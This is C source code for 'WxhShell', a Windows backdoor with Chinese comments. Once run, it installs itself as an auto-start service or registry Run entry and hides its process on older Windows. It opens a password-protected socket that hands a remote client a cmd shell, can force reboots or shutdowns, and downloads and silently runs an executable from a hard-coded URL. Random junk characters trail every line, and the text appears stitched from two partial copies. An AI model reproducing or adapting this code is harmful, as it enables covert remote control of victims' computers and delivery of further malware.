    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ruv`yfQ  
    else { )~-r&Q5d  
    closesocket(wsh); O-&^;]ieJ  
    ExitThread(0); %f5c,}  
    } >!MRk[@ V-  
    break; xSrjN  
    } (;9j#x  
  // 获取shell hip't@.uE  
  case 's': { %l[]n;*$  
    CmdShell(wsh); |eI!wgQx  
    closesocket(wsh); wC?>,LOl  
    ExitThread(0); uj:1_&g  
    break; L$6W,D  
  } B$ jX%e{:S  
  // 退出 ^h!}jvqE  
  case 'x': { 0+T:};]  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mJZB@m u?  
    CloseIt(wsh); -QK- w>  
    break; ~9Qd83`UH  
    } lYT_Y.%I  
  // 离开 B?l 0u  
  case 'q': { 9Ed=`c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k)R~o b  
    closesocket(wsh); @%jY  
    WSACleanup(); c 5 `74g  
    exit(1); U".5x~UC  
    break; upnX7as  
        } 9[R+m3V/`  
  } [>KnMi=o)  
  } p z\8Bp}yo  
Q^*4FH!W  
  // 提示信息 Irui{%T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <%.lPO]&E  
} t;V^OGflv  
  } L7[f-cK2:  
OXnTD!m>{  
  return; Tvt(nWn(H1  
} 5Od&-~O  
&"( zK"O  
// shell模块句柄 /ke[nr  
int CmdShell(SOCKET sock) Z7>Nd$E{  
{ g}d[j I9  
STARTUPINFO si; 3wg1wl|  
ZeroMemory(&si,sizeof(si)); Rn)fwGC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OIDP#K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rl,i,1t  
PROCESS_INFORMATION ProcessInfo; 86);0EBX  
char cmdline[]="cmd"; | {Q}:_/q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3YG%YhevO  
  return 0; $,B;\PX  
} q07H{{h/B  
i*r ag0Mw  
// 自身启动模式 yKy )%i  
int StartFromService(void) k"|Fu   
{ w I;sZJc  
typedef struct qh+&Zx~  
{ EQ.K+d*K][  
  DWORD ExitStatus; P *&Cght>0  
  DWORD PebBaseAddress; my0iE:  
  DWORD AffinityMask; 9N<=,!;5~s  
  DWORD BasePriority; =RAojoN  
  ULONG UniqueProcessId; ^B1$|C D,  
  ULONG InheritedFromUniqueProcessId; >pp#>{}  
}   PROCESS_BASIC_INFORMATION; NFF!g]QN  
Z/T( 4  
PROCNTQSIP NtQueryInformationProcess; tSe[*V4{'  
XRHngW_A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uPxJwWXO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vR&b2G7o  
 !# zO%  
  HANDLE             hProcess; ~~=]_lwyK%  
  PROCESS_BASIC_INFORMATION pbi; C80< L5\  
b +Z/nfS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ahc9HA2  
  if(NULL == hInst ) return 0; ;2$0j1>  
U }AIOtUw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6Yc(|>b!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'j-U=2,n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); jYvl-2A'  
Z1Qv>@u  
  if (!NtQueryInformationProcess) return 0; K>C@oE[W  
DIfQ~O+u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GG"6O_  
  if(!hProcess) return 0; `:C2Cj  
GS7'pTsYH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; L6#4A3yh  
}1%%`  
  CloseHandle(hProcess); T$<yl#FY  
r-*j"1 e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N.0g%0A.D  
if(hProcess==NULL) return 0; =dsEt\ j  
[%O f  
HMODULE hMod; jz]}%O  
char procName[255]; (>AQ\  
unsigned long cbNeeded; MiR$N  
~FQHT?DAo  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #d06wYz=  
uEf=Vj}G  
  CloseHandle(hProcess); 3 q J00A  
xkU8(=  
if(strstr(procName,"services")) return 1; // 以服务启动 u:Ye`]~o  
m'N8[ o|h  
  return 0; // 注册表启动 9aNOfs8(  
} (#Xs\IEVF  
=z]rZSq*o  
// 主模块 &H P g>  
int StartWxhshell(LPSTR lpCmdLine) |sY  
{ t\}_WygN  
  SOCKET wsl; <EQaYZY=  
BOOL val=TRUE; z;y{QO  
  int port=0; vCNq2l^CW  
  struct sockaddr_in door; ;xiwyfqgE  
 axDa&7%  
  if(wscfg.ws_autoins) Install(); pwkTe  
~)n[Vf  
port=atoi(lpCmdLine); <*WGvCh%w  
3fA+{Y8S  
if(port<=0) port=wscfg.ws_port; IsShAi  
TZ `Ypi7r  
  WSADATA data; 1up p E|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GzBPI'C  
,k=8|=aF  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ~#i2reG5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !tcz_%  
  door.sin_family = AF_INET; CBF<53TshR  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); lSlZ^.&  
  door.sin_port = htons(port); QnP?j&  
u{h67N  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { znSlSQpTv  
closesocket(wsl); I$p1^8~L  
return 1; <QO1Yg7}  
} oK 7:e~  
REYvFx?i  
  if(listen(wsl,2) == INVALID_SOCKET) { ;obOr~Jx'5  
closesocket(wsl); TUz4-Pd  
return 1; 9_nbMs   
} {Z7ixc523  
  Wxhshell(wsl); $(+xhn(O  
  WSACleanup(); +2}cR66%  
[ZC\8tP`V  
return 0; 93:oXyFjD  
97$Q?a8S@  
} KO%$  
X d o\DQn  
// 以NT服务方式启动 ?Z_T3/ f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _x1W\#  
{ /CMgWGI  
DWORD   status = 0; 09 trFj$L  
  DWORD   specificError = 0xfffffff; 7(uz*~Z?`0  
dP +wcl4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U#]J5'i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; B :S8{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; de)4)EzUP  
  serviceStatus.dwWin32ExitCode     = 0; c;Tp_e@  
  serviceStatus.dwServiceSpecificExitCode = 0; x,]x>Up  
  serviceStatus.dwCheckPoint       = 0; JN4gH4ez)  
  serviceStatus.dwWaitHint       = 0; e^3D`GA  
('Qq"cn#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'S9o!hb'@  
  if (hServiceStatusHandle==0) return; f6yj\qq]  
cm_5,wB(w  
status = GetLastError(); &P>& T  
  if (status!=NO_ERROR) !02y'JS1  
{ hc[J,yG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '|Bk}pl7  
    serviceStatus.dwCheckPoint       = 0; :Yn.Wv-  
    serviceStatus.dwWaitHint       = 0; 6i~|<vcSP  
    serviceStatus.dwWin32ExitCode     = status; /9&!u )+  
    serviceStatus.dwServiceSpecificExitCode = specificError; l@* $C&E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \#LDX,=  
    return; fP5i3[T  
  } 4w=v /WDo  
TfT^.p*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?jUgDwc(w  
  serviceStatus.dwCheckPoint       = 0; /3Gq&[R{  
  serviceStatus.dwWaitHint       = 0; ZO cpF1y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M2p|&Z%  
} 8<mloM-4  
YY:{/0?  
// 处理NT服务事件,比如:启动、停止 yn$1nt4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +_$s9`@]6  
{ xw_klHL-o  
switch(fdwControl) R9 Ab.t  
{ ]Idwy|eG  
case SERVICE_CONTROL_STOP: T4Vp0i  
  serviceStatus.dwWin32ExitCode = 0; {U$XHG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R]e&JoY  
  serviceStatus.dwCheckPoint   = 0; Z37Dv;&ZD  
  serviceStatus.dwWaitHint     = 0; dor1(@no|  
  { |LZ{kD|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iu(obmh/o  
  } >r7PK45.K  
  return; #b;k+<n[X  
case SERVICE_CONTROL_PAUSE: mRRZ/m?A(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E;{CoL  
  break; E:B"!Y6  
case SERVICE_CONTROL_CONTINUE: vs[!B-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !j`<iPI7B  
  break; >6jal?4u-  
case SERVICE_CONTROL_INTERROGATE: k{#k:  
  break; v]EZYEXFL)  
}; $Wj{B@k  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NJgu`@YoI  
} 2ua!<^,  
A+8)VlE\  
// 标准应用程序主函数 "qF/7`e[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \%Y`>x.  
{ NQ;X|$!zH  
97\K] Tr  
// 获取操作系统版本  f_n  
OsIsNt=GetOsVer(); ]r3/hDRDL@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Qs za,09  
Y:O|6%00Y  
  // 从命令行安装 & [@)Er=  
  if(strpbrk(lpCmdLine,"iI")) Install(); %LP4RZ  
, +J)`+pJx  
  // 下载执行文件 k<Gmb~Tg1  
if(wscfg.ws_downexe) { AVw oOv J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i 0/QfB%O  
  WinExec(wscfg.ws_filenam,SW_HIDE); gBh X=2%  
} zJW2F_  
f~\H|E8(  
if(!OsIsNt) { MXfyj5K  
// 如果时win9x,隐藏进程并且设置为注册表启动 @(35I  
HideProc(); r>ed/<_>m;  
StartWxhshell(lpCmdLine); 9v`sSTlSd  
} <(@S;?ZEW  
else  8Cp@k=  
  if(StartFromService()) 5NUaXQ  
  // 以服务方式启动 O2ktqAWx@  
  StartServiceCtrlDispatcher(DispatchTable); >I5Wf /$  
else Vn kh Y  
  // 普通方式启动 J/K~8s c  
  StartWxhshell(lpCmdLine); Q"u2<  
(|Gwg\r  
return 0; 7r' _p$  
} rf|Nu3AJ  
ru2M"]T  
EC8Z. Uu  
8)?&eE'  
=========================================== Dt[+HCCY:  
-.? @f tY  
b<4nljbx  
3%(r,AD  
Be@g|'r  
R|(X_A  
" I50Ly sM  
1c#\CO1l  
#include <stdio.h> \9OKf|#j  
#include <string.h> !9NF@e'&!  
#include <windows.h> A32Sdr'D  
#include <winsock2.h> ?2da6v,t  
#include <winsvc.h> f!yl&ulKU  
#include <urlmon.h> -hW>1s<  
Xwo+iZ(a  
#pragma comment (lib, "Ws2_32.lib") "Hz%0zP&  
#pragma comment (lib, "urlmon.lib") $`W3`}#fM  
}"WovU{*s  
#define MAX_USER   100 // 最大客户端连接数 (_ :82@c  
#define BUF_SOCK   200 // sock buffer Zl&ED{k<  
#define KEY_BUFF   255 // 输入 buffer 2;"vF9WMm  
8%u|[Si;  
#define REBOOT     0   // 重启 #z&R9$  
#define SHUTDOWN   1   // 关机 6M7GPHah  
0n6eWwY  
#define DEF_PORT   5000 // 监听端口 R[l`# I  
v5\ALWy+p  
#define REG_LEN     16   // 注册表键长度 GB}\7a  
#define SVC_LEN     80   // NT服务名长度 HAI) +J   
% vy,A*  
// 从dll定义API Gr&e]M[l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); de2G"'F  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fi>.X99(G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7Ko*`-p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P.q7rk<  
dtY8>klI  
// wxhshell配置信息 `ql8y'  
struct WSCFG { E_A5KLP  
  int ws_port;         // 监听端口 AEnkx!o  
  char ws_passstr[REG_LEN]; // 口令 KG(FA  
  int ws_autoins;       // 安装标记, 1=yes 0=no VT4 >6u}  
  char ws_regname[REG_LEN]; // 注册表键名 E"p _!!1  
  char ws_svcname[REG_LEN]; // 服务名 \.iejB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p<'pqf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 -f ~1Id  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 am3.Dt2\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qonStIP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xLFMC?I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K]B`&ih  
!ck~4~J  
}; D :j5/ *  
R'tvF$3=i  
// default Wxhshell configuration w=!xTA  
struct WSCFG wscfg={DEF_PORT, m?yztm~u  
    "xuhuanlingzhe", --"5yGOL  
    1, [^}bc-9?i  
    "Wxhshell", 8$]SvfX  
    "Wxhshell", _u6N aB  
            "WxhShell Service", Q%q;=a  
    "Wrsky Windows CmdShell Service", 9]ZfSn)  
    "Please Input Your Password: ", (-0d@eqw  
  1, :}fA98S  
  "http://www.wrsky.com/wxhshell.exe", (D?4*9 =  
  "Wxhshell.exe" }z/%b<o_  
    }; hNYO+LrI)  
zQ,M795@EA  
// 消息定义模块 I>l^lv&[+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Lz_.m  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BjPU@rS .U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jf1GYwuW*  
char *msg_ws_ext="\n\rExit."; r ^*D8  
char *msg_ws_end="\n\rQuit."; 2^`k6V!  
char *msg_ws_boot="\n\rReboot..."; _~yd  
char *msg_ws_poff="\n\rShutdown..."; =&k[qqxg  
char *msg_ws_down="\n\rSave to "; 9pj6`5Zn@6  
u@:[ dbJ  
char *msg_ws_err="\n\rErr!"; h {Jio>  
char *msg_ws_ok="\n\rOK!"; $Lbamg->E  
zmD7]?|  
char ExeFile[MAX_PATH]; t+F_/_"B  
int nUser = 0; ?MSwr_eZH  
HANDLE handles[MAX_USER]; seAPVzWUU  
int OsIsNt; NQuqM`LSQ  
`_1fa7,z  
SERVICE_STATUS       serviceStatus; x%H,ta%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x\ # K2  
p>J@"?%^  
// 函数声明  9S9j  
int Install(void); 6A =k;do  
int Uninstall(void); xH` VX-X3  
int DownloadFile(char *sURL, SOCKET wsh); gzvgXZ1q"  
int Boot(int flag); 1'p=yHw  
void HideProc(void); LcA7f'GVK  
int GetOsVer(void); <6;@@  
int Wxhshell(SOCKET wsl); >0iCQKq  
void TalkWithClient(void *cs); #b)`as?!1  
int CmdShell(SOCKET sock); M~`^deU1  
int StartFromService(void); IIGx+>  
int StartWxhshell(LPSTR lpCmdLine); \Ezcr=0z{j  
3rHn?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); sqV~ Dw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hg<[@Q%$o  
BUsxgs"),  
// 数据结构和表定义 iyR"O1]  
SERVICE_TABLE_ENTRY DispatchTable[] = {0+WVZ4u  
{ pQc-}o"  
{wscfg.ws_svcname, NTServiceMain}, {"$ [MYi:  
{NULL, NULL} CGK]i. N  
}; M,kO7g  
$.w$x1  
// 自我安装 C,mfA%63  
int Install(void) OJA_OqVp$K  
{ ojm IEzsz  
  char svExeFile[MAX_PATH]; 3HcduJntl  
  HKEY key; noz1W ]  
  strcpy(svExeFile,ExeFile); 0:I<TJ~P  
#ucb  
// 如果是win9x系统,修改注册表设为自启动 jy>?+hm?  
if(!OsIsNt) { 8b-mW>xsA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }:$ot18  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $'eY-U8q  
  RegCloseKey(key); -w"lW7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :r "G Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;-"q;&1e  
  RegCloseKey(key); [lSQMoi3  
  return 0; O x`K7$)  
    } Sa@'?ApH  
  } L[nDjQn"  
} {' 0#<Z  
else { ?VRsgV'$  
]2|fc5G'  
// 如果是NT以上系统,安装为系统服务 nq>F_h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $~1mKx]]  
if (schSCManager!=0) Val"vUZ  
{ I][&*V1  
  SC_HANDLE schService = CreateService @VG@|BQWa  
  ( ]=i('|YG  
  schSCManager, D{y7[#$h$  
  wscfg.ws_svcname, *[b>]GXd49  
  wscfg.ws_svcdisp, 88S:E7 $  
  SERVICE_ALL_ACCESS, Y}2Sr-@u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )'RaMo` 4  
  SERVICE_AUTO_START, y4IQa.F  
  SERVICE_ERROR_NORMAL, j6k"%QHf  
  svExeFile, uH'?Ikx"  
  NULL, 8L_OH  
  NULL, / bH2Z  
  NULL, :Ru8Nm  
  NULL, xqY'-Hom  
  NULL 3>MILEY^  
  ); ,3-^EfccW  
  if (schService!=0) Os9 EMU$  
  { C'gv#!Q  
  CloseServiceHandle(schService); bnanTH9-  
  CloseServiceHandle(schSCManager); uHmvHA~/c8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &!WRa@x0I  
  strcat(svExeFile,wscfg.ws_svcname); [dFcxzM-N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $%31Gk[I  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |=,jom  
  RegCloseKey(key); { m{nCl)y  
  return 0; {dRZ2U3  
    } 6`7bk35B  
  } ]63! Wc  
  CloseServiceHandle(schSCManager); wWf_d jd  
} tk h *su  
} q I~*G3  
yoF*yUls^E  
return 1; sSGXd=":  
} BgdUG:;&  
kFmtE dhsc  
// 自我卸载 <,/7:n  
int Uninstall(void) z6d0Y$A G  
{ #l: 1R&F  
  HKEY key; Piwox1T ;  
uCuB>x&  
if(!OsIsNt) { M&faa7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ohe[rV>EX  
  RegDeleteValue(key,wscfg.ws_regname); ao.vB']T  
  RegCloseKey(key); a.?U $F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~Sm6{L  
  RegDeleteValue(key,wscfg.ws_regname); ]' Ho)Q  
  RegCloseKey(key); OUGkam0UK  
  return 0; h. ftl2>  
  } }KIS_krs  
} ,tyPZR_  
} @^ -Y&N!b=  
else { #s\kF *  
SRk!HuXh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); U  yV5A  
if (schSCManager!=0) $>yfu=]?  
{ "cBqZzkk9j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Lq;iR  
  if (schService!=0) d-tg^Ot#  
  { ,t wB" *  
  if(DeleteService(schService)!=0) { gg%)#0Zi  
  CloseServiceHandle(schService); ^_P?EJ,)`  
  CloseServiceHandle(schSCManager); Qf ~$9?z  
  return 0; z;<~j=lP  
  } n4+q7  
  CloseServiceHandle(schService); U{[YCs fk  
  } vZ srlHb  
  CloseServiceHandle(schSCManager); } }~a4p>%  
} aD'Ax\-  
} #rBfp|b]1  
U2WHs3  
return 1; +s8R]3NJ_H  
} Xfqin4/jC  
3^ y<Db  
// 从指定url下载文件 2@2d |  
int DownloadFile(char *sURL, SOCKET wsh) 6g" h}p\{S  
{ [' pO=ho  
  HRESULT hr; 0hGmOUO  
char seps[]= "/"; MOCcp s*  
char *token; 0wV9Trp  
char *file; u "k< N|.3  
char myURL[MAX_PATH]; oxL<\4)WJ  
char myFILE[MAX_PATH]; dc1Zh W4  
8uH8)  
strcpy(myURL,sURL); T=M##`jP%  
  token=strtok(myURL,seps); CZeZk  
  while(token!=NULL) AgSAjBP  
  { 62_k`)k  
    file=token; =*lBJ-L  
  token=strtok(NULL,seps); CyYr5 Dz  
  } S1y6G/e9  
Ny/eYF#  
GetCurrentDirectory(MAX_PATH,myFILE); {GnZ@Q:F  
strcat(myFILE, "\\"); q jc4IW t~  
strcat(myFILE, file); Jkbeh.  
  send(wsh,myFILE,strlen(myFILE),0); 'plUs<A  
send(wsh,"...",3,0); vWeY[>oGur  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #(Gz?kGAH`  
  if(hr==S_OK) |D/a}Av>B  
return 0; $^{#hYq)o  
else ]|,}hsN  
return 1; rEj[XK  
)qbkKCq/FB  
} c};%VB  
Z/?{{}H+  
// 系统电源模块 \( {'Xo >(  
int Boot(int flag) U1) Zh-aR  
{ OM\1TD/-  
  HANDLE hToken; S-gO  
  TOKEN_PRIVILEGES tkp; {dpDQP +!  
sHk>ek]2I  
  if(OsIsNt) { jTt9;?)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0!lWxS0#=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !Pnjr T  
    tkp.PrivilegeCount = 1; ! {G0'   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l}VE8-XB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^4"AWps  
if(flag==REBOOT) { Q]N&^ E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,z/aT6M?H  
  return 0; E/%"%&`8j  
} w@cW`PlF  
else { v]F4o1ckk  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) t4v'X}7q]  
  return 0; Bz-jy.  
} v=lW5%r,'  
  } !1=OaOT  
  else { !f52JQyh  
if(flag==REBOOT) { $'Mf$h  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;2 &"  
  return 0; breF,d$  
} LAf#Rco4  
else { t&{;6MiE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \-;f<%+  
  return 0; GVnDN~[  
} 3lpxh_  
} I(pq3_9$  
x@rQ7K>  
return 1; , %z HykP  
} sV%DX5@  
wv{ Qx^  
// win9x进程隐藏模块 C2v_] ,]  
void HideProc(void) !.mR]El{K  
{ !aF~5P7%  
V27RK-.N!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); S}%z0g<  
  if ( hKernel != NULL ) +c<iVc|  
  { r\ft{Z<P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /ugyUpyg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w($a'&d`0  
    FreeLibrary(hKernel); 1r$-Uh  
  } iUR ij@  
YFB>GQ;  
return; }5oI` 9VT  
} Uz!3){E  
,/b!Xm:  
// 获取操作系统版本 qq&U)-`  
int GetOsVer(void) H@xS<=:lM  
{ 3_XLx{["'  
  OSVERSIONINFO winfo; HBE[q#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); bT2G G  
  GetVersionEx(&winfo); \N0vA~N.  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t sUu  
  return 1; 04|ZwX$>+  
  else <.4(#Ebd  
  return 0; Bgc]t  
} <F0^+Pf/  
>;c);|'}q  
// 客户端句柄模块 [q[37;ZEQ  
int Wxhshell(SOCKET wsl) H"AL@=  
{ ")uKDq  
  SOCKET wsh; [ZSC]w^  
  struct sockaddr_in client; $]E+E.P  
  DWORD myID; g[pU5%|"[  
-\?-  
  while(nUser<MAX_USER) Zhfg  
{ \~%+)a%%  
  int nSize=sizeof(client); .@OQ$ D<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Pa3-0dUr  
  if(wsh==INVALID_SOCKET) return 1; !9/`PcNIpy  
Q NMZR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <>\|hno}  
if(handles[nUser]==0) T@yQOD7  
  closesocket(wsh); tp cB}HUv  
else >t cEx(  
  nUser++; ;Y*K!iFWH  
  } iXnXZ|M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ftPps -  
I&La0g_E  
  return 0; tf6m .  
} 4}; @QFT*  
(cLKhn@  
// 关闭 socket &]n }fq  
void CloseIt(SOCKET wsh) ,6g{-r-2  
{ %[*-aA  
closesocket(wsh); 0@zJa;z'  
nUser--; ?(=|!`IoO  
ExitThread(0); :gwmk9LZ  
} ru eaP  
"{D/a7]lC  
// 客户端请求句柄 JL87a^ro  
void TalkWithClient(void *cs) WkA47+DsV  
{ (t@)`N{  
wz:e\ !  
  SOCKET wsh=(SOCKET)cs; d5gwc5X  
  char pwd[SVC_LEN]; NzQvciJ@"  
  char cmd[KEY_BUFF]; }?Y -I> w  
char chr[1]; iptA#<Yj  
int i,j; L!Y|`P#Yr  
Ln,<|,fZN  
  while (nUser < MAX_USER) { _r3Y$^!U  
2v ~8fr4  
if(wscfg.ws_passstr) { !FP ]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (v/L   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Lp"Ia  
  //ZeroMemory(pwd,KEY_BUFF); ^R@)CIQ  
      i=0; 5 [~HL_u;,  
  while(i<SVC_LEN) { (]'wQ4iQ  
tB>!1}v  
  // 设置超时 49*f=gpGj2  
  fd_set FdRead; JE9v+a{7  
  struct timeval TimeOut; ZNw|5u^N  
  FD_ZERO(&FdRead); )m7%cyfC  
  FD_SET(wsh,&FdRead); D|ze0A@  
  TimeOut.tv_sec=8; o!UB x<4  
  TimeOut.tv_usec=0; /(s |'"6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q"FN"uQ}x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -"nkC  
IwnDG;+Ap  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S,:!H@~B  
  pwd=chr[0]; wd*B3  
  if(chr[0]==0xd || chr[0]==0xa) { 9y6u&!PZ\  
  pwd=0; LD[\eJ _  
  break; 45.ks.  
  } )b1hF  
  i++; O oA!N-Q  
    } t!rrYBSCr  
-r cEG!  
  // 如果是非法用户,关闭 socket _oc6=Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q&@s/k  
} SzpUCr"  
&{8:XJe*,%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zy$jTqDH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $jh$nMx)!  
^ou)c/68aQ  
while(1) { _@B?  
_\+]/rY9o  
  ZeroMemory(cmd,KEY_BUFF); UiV#w#&P  
KU$,{Sn6@  
      // 自动支持客户端 telnet标准   3<XuJ1V&  
  j=0; QY)p![6Fj  
  while(j<KEY_BUFF) { Nxe1^F33  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PzKTEYJL  
  cmd[j]=chr[0]; u|IS7>Sm  
  if(chr[0]==0xa || chr[0]==0xd) { `"CA$Se8  
  cmd[j]=0; GZaB z#U  
  break; )KFxtM-  
  } t jThQ  
  j++; V6dq8Z"h  
    } y$7Ys:R~  
%_s)Gw&sq  
  // 下载文件 <MG&3L.[  
  if(strstr(cmd,"http://")) { kNWTM%u9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -hnNa A  
  if(DownloadFile(cmd,wsh)) G)s.~ T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ri4z^1\  
  else f{VV U/$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |Yw k  
  } 3mU~G}ig  
  else { P,] ./m\J  
i=<;$+tW  
    switch(cmd[0]) { 5?H8?~&dz  
  z# &1>  
  // 帮助 b EcN_7  
